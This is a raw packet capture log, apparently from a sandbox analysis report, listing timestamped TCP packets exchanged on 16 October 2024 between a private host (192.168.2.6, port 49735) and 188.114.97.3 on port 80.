                                                                                    Oct 16, 2024 10:58:10.623195887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623213053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623364925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623375893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623392105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623403072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623420954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623437881 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623467922 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623645067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623688936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623694897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623701096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623727083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623743057 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623758078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623769045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.623800993 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.623819113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.665520906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.665530920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.665541887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.665571928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.665575027 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.665611982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.668179035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.668205976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.668215036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.668256998 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.668284893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.668287992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.668299913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.668308973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.668339968 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.668358088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725347042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725405931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725415945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725414991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725435019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725445986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725445986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725455999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725461006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725467920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725476980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725507975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725522995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725533962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725548983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725569963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725598097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725820065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725836039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725846052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725879908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725904942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.725936890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725948095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725958109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725967884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725977898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.725986004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.726021051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.729425907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729434967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729444981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729475021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729480982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.729485989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729496002 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729513884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.729546070 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.729759932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729800940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729800940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.729810953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.729840040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.729863882 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.730910063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.730918884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.730954885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.730959892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.730964899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.730993032 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.731105089 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.731120110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.731144905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.731163979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.731172085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.731206894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.731218100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.731229067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.731236935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.731261969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.731288910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.732019901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732037067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732045889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732080936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.732109070 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.732114077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732125044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732134104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732144117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732160091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.732171059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732182026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732187986 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.732192993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.732207060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.732234001 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740586996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740597010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740607023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740618944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740631104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740658998 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740674019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740685940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740689039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740705967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740706921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740739107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740750074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740751982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740762949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740799904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740889072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740921021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740927935 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740932941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740945101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.740957022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740974903 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.740989923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.741172075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.741184950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.741199970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.741224051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.741236925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.741238117 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.741250992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.741641045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.782929897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.782941103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.782951117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.783018112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.783052921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.783061028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.783102989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.785703897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.785715103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.785725117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.785748959 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.785772085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.785854101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.785864115 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.785872936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.785902977 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.838304996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838366032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838376999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838392973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838398933 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.838409901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838421106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838430882 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.838433981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838445902 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.838464975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.838495970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838506937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838516951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.838540077 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.838557005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843126059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843173981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843199015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843214035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843239069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843252897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843262911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843275070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843312979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843344927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843357086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843368053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843396902 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843399048 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843408108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.843441010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.843458891 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847101927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847146034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847151041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847162962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847177982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847187996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847188950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847202063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847228050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847244978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847261906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847289085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847299099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.847306013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.847328901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.848661900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848686934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848714113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848725080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848726988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.848753929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.848776102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848786116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848797083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848807096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.848809004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.848836899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.848862886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849123001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849133968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849143028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849168062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849193096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849667072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849678040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849689007 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849698067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849709988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849725008 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849749088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849750996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849788904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849788904 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849803925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849829912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849847078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.849855900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849867105 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.849901915 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.857958078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.857969999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.857979059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.857990026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858005047 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858014107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858015060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858042955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858058929 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858125925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858136892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858146906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858171940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858180046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858191013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858196020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858221054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858236074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858501911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858511925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858521938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858546019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858550072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858561993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858577013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858592987 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858614922 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858840942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858850956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858860970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.858884096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.858902931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.900437117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.900445938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.900455952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.900490046 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.900525093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.903227091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.903244019 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.903285980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.903310061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.903321981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.903356075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.903414965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.903424025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.903470993 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.955717087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.955765009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.955773115 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.955775976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.955794096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.955805063 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.955805063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.955816984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.955847979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.955936909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.956022978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.956031084 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.956041098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.956052065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.956060886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.956072092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.956085920 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.956104040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.960479975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960494995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960505962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960515022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960525036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960529089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.960566044 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960576057 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960593939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.960593939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.960613966 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.960690022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.960700035 CEST8049735188.114.97.3192.168.2.6
